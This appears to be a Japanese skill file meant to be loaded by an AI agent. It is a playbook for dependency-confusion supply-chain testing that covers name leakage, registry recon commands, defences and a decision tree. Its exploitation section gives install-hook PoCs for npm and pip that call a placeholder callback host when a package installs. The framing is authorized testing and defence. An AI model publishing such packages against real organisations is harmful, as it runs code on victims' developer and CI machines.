SKILL: 依存関係混同 — サプライチェーン攻撃プレイブック

AI ロード指示: 依存関係混同に関する専門的な方法論。プライベートパッケージ名がどのように漏洩し、公開レジストリがバージョン解決にどのように勝つか、エコシステム固有の落とし穴（npm スコープ、pip 追加インデックス、Maven リポジトリ順序）、偵察コマンド、非破壊的な PoC パターン（コールバック、データ流出ではなく）、防御的制御について説明します。マニフェストまたは CI キャッシュがスコープ内にある場合は、サプライチェーン偵察ワークフローと組み合わせて使用します。テストを許可されたシステムおよびプログラムでのみ使用してください。

0. クイックスタート

最初に確認すべきもの

• 内部に見えるパッケージ名（短い未スコープ名、組織固有のトークン、製品コード名）をリストするマニフェストで、ハード プライベートレジストリロックがない。
• 同じ名前が存在する、または公開レジストリで奪取可能である可能性があり、プライベートフィードが発行するより高い semver を使用している証拠。
• ロックファイルが欠落、古い、または CI で強制されていないため、install/build が公開メタデータへドリフトする可能性。

高速なメンタルモデル: リゾルバーがプライベートインデックスと公開インデックスの両方を参照でき、バージョン範囲がそれを許可する場合、マッチングする「最新」バージョンが攻撃者のものであるかもしれません。

ルーティングに関する注記: サプライチェーン、リポジトリ公開、または CI ビルド偵察からタスクが来る場合は、まず recon-for-sec を使用して内部パッケージ名と可能な公開レジストリ衝突をリストアップします。

---

1. コアコンセプト

1. プライベートパッケージ: 組織が内部レジストリ上のみでライブラリをシップするか、「私たち」を示唆する慣例で、例えば @org-scope/internal-utils のようなスコープ付き名または acme-billing-sdk のような未スコープ名。
2. 攻撃者が名前を奪取: 同じパッケージ名が公開レジストリ（npmjs、PyPI、RubyGems など）で公開される。
3. リゾルバー優先設定: 多くのセットアップはすべての設定されたインデックス全体で最高マッチングバージョンを解決する（またはメタデータをマージする）ため、公開の 9.9.9 がプライベートの 1.2.3 に勝つことができます（範囲が許可する場合）。
4. 実行: パッケージマネージャーはライフサイクルスクリプト（npm の preinstall/postinstall、setuptools エントリーポイント など）を実行 → 攻撃者コードが開発者ラップトップ、CI、またはプロダクション イメージビルドで実行される。

これはサプライチェーンクラスの問題です：影響は多くの場合広範（多くの消費者）で、ビルドまたはランタイムフックが実行されるまで静かです。

---

2. 影響を受けるエコシステム

エコシステム	典型的なマニフェスト	混同の角度
npm	package.json	スコープ付きパッケージ（@scope/pkg）は、スコープがレジストリで所有されている場合より安全です。未スコープの非公開スタイル名は高リスクです。複数のレジストリ / .npmrc の registry 対 スコープごと @scope:registry= の設定ミスはリスクを増加させます。
pip	requirements.txt、pyproject.toml、setup.py	pip install -i / --extra-index-url インデックスをマージします。公開インデックスは同じディストリビューション名に対してより高いバージョンを提供できます。
RubyGems	Gemfile	source の順序と追加ソース。rubygems.org から到達可能な曖昧な宝石名。
Maven	pom.xml	リポジトリ宣言順序およびミラー設定。同じ groupId:artifactId をより高いバージョンで公開する公開リポジトリがポリシーを許可する場合に勝つことができます。
Composer	composer.json	Packagist がデフォルト。repositories/canonical の規律がないプライベートパッケージは公開名と衝突する可能性があります。
Docker	FROM、イメージタグ	コンテナレジストリ上のタイポスクワッティング（例：公開ハブ）は内部ベースイメージに似た名前のイメージを対象とします。

---

3. 偵察

内部名がどのように漏洩するか

• リポジトリまたはフォークにコミットされた**package.json、requirements.txt、Gemfile、pom.xml、composer.json**。
• JavaScript ソースマップ、バンドルされたアセット、またはパッケージパスを参照するエラースタックトレース。
• .npmrc、.pypirc、インストール URL またはミラーエンドポイントを示す CI ログ。
• Issue トラッカー、gist スニペット、および SBOM エクスポートからの依存関係グラフ。

公開スクワッティング / クレーム可能性をチェック（読み取り専用）

# npm — 名前のメタデータ（未スコープ）
npm view some-internal-package-name version

# npm — スコープ付き（スコープの存在/読み取り可能が必須）
npm view @some-scope/internal-lib versions --json

# PyPI — ドライラン形式のバージョンプローブ（名前を調整。見つからない場合は失敗）
python3 -m pip install --dry-run 'some-internal-package-name==99.99.99'

# RubyGems — リモートをクエリ
gem search '^some-internal-package-name$' --remote

# Maven Central — 座標をサーチ（例パターン）
# curl "https://search.maven.org/solrsearch/select?q=g:com.example+AND+a:internal-lib&rows=1&wt=json"

ルーティングに関する注記: パッケージ名列挙の後、認可された環境でのみ PoC を検討してください。公開レジストリ検索自体は通常パッシブ偵察です。

---

4. 悪用

認可されたテストパターン

1. 登録（またはコントロールされた名前空間を使用）ターゲットリゾルバーが到達できる公開レジストリで同じパッケージ名。
2. 正当な内部ラインより高い semver を、被害者の宣言された範囲内で発行します（例：^1.0.0 → 9.9.9 を発行）。
3. ホストに害を与えることなく実行を証明するライフサイクルフックを追加します—DNS/HTTP コールバックをコントロールしている協力者に、破壊的な書き込みなしで優先します。

npm package.json — 最小限のコールバック形式 PoC（説明用）

{
  "name": "some-internal-package-name",
  "version": "9.9.9",
  "description": "authorized dependency-confusion PoC only",
  "scripts": {
    "preinstall": "node -e \"require('https').get('https://YOUR_CALLBACK_HOST/poc?t='+process.env.npm_package_name)\""
  }
}

npm package.json — shell + curl フォールバック（説明用）

{
  "scripts": {
    "postinstall": "curl -fsS 'https://YOUR_CALLBACK_HOST/npm-postinstall' || true"
  }
}

pip — セットアップフックパターン（説明用；認可されたラボパッケージのみ使用）

# setup.py（抜粋）
from setuptools import setup
from setuptools.command.install import install

class PoCInstall(install):
    def run(self):
        import urllib.request
        urllib.request.urlopen("https://YOUR_CALLBACK_HOST/pip-install")
        install.run(self)

setup(
    name="some-internal-package-name",
    version="9.9.9",
    cmdclass={"install": PoCInstall},
)

参照実装（学習 / ラボ）: 0xsapra/dependency-confusion-exploit に似たコミュニティ PoC レイアウトとワークフロー—バージョンバンプ、発行、コールバック確認を自動化します書き込み許可を持つ場所でのみ。

---

5. ツール

ツール	役割
visma-prodsec/confused	マニフェストファイルをスキャンして、公開レジストリでクレーム可能である可能性のある依存関係名を検出します（マルチエコシステム）。
synacktiv/DepFuzzer	自動依存関係混同テストワークフロー（厳密にスコープ内で使用）。

これらはあなたのマニフェスト、または認可されたエンゲージメントに対してのみ実行します。関連のない第三者のために名前を奪取するために使用しないでください。

---

6. 防御

• npm: スコープ付きパッケージ（@org-scope/pkg）を組織所有スコープで優先します。.npmrc を設定して、プライベートスコープがプライベートレジストリにマップされ、デフォルトの registry が内部名に対して誤って公開にならないようにします。
• ピン留め: 正確なバージョン + ロックファイル（package-lock.json、poetry.lock、Gemfile.lock、composer.lock）は CI で強制されます。
• pip: 不注意な**--extra-index-url** を避けます。ミラーリング付きの単一プライベートインデックス、または CI での明示的な --index-url ポリシーを優先します。
• Maven / Gradle: リポジトリ順序を制御し、内部ミラーを使用し、リリースパイプラインで予期しない groupIds をブロックします。
• Composer: repositories を canonical: true で使用してプライベートパッケージを保護します。Packagist が予期しないベンダーを導入していないことを確認します。
• 防御的な登録: ポリシーが許可する場合、公開レジストリで内部名を予約（自分の名前を奪取）します。
• モニタリング: Socket.dev、Snyk、または同様の SBOM/サプライチェーンスキャナーなどのツールを使用して、重要なパッケージに対する新しい発行者またはバージョンジャンプをアラートします。

---

7. 決定木

マニフェストは、グローバルに非ユニークである可能性のあるパッケージ名を参照していますか？
├─ いいえ → 依存関係混同は命名だけからはありそうにありません。タイポスクワッティング/侵害されたアカウントに切り替えます。
└─ はい
    ├─ プライベートレジストリがその名前の唯一のソースですか（スコープ済み + .npmrc / 単一インデックス / ミラー）？
    │   ├─ はい → より低いリスク。CI と開発者マシンが設定をオーバーライドしないことを確認します。
    │   └─ いいえ → 高リスク
    │         ├─ 公開レジストリは宣言された範囲内の HIGHER バージョンを発行できますか？
    │         │   ├─ はい → 認可されたテストで悪用可能として扱う。コールバック PoC で証明する。
    │         │   └─ いいえ → プレリリースタグ、ローカル `file:` 依存関係、古いロックファイルをチェックします。
    │         └─ CI でライフサイクルスクリプトが無効/ブロックされていますか？（影響を軽減しますが、スクワットリスクは削除しません）

---

関連ルーティング

• recon-for-sec から: サプライチェーン偵察を実行している場合、漏洩したマニフェストと内部パッケージ識別子をセクション 3 のチェックおよびセクション 7 の決定木と相互リンクしてから、発行/PoC ステップを提案します。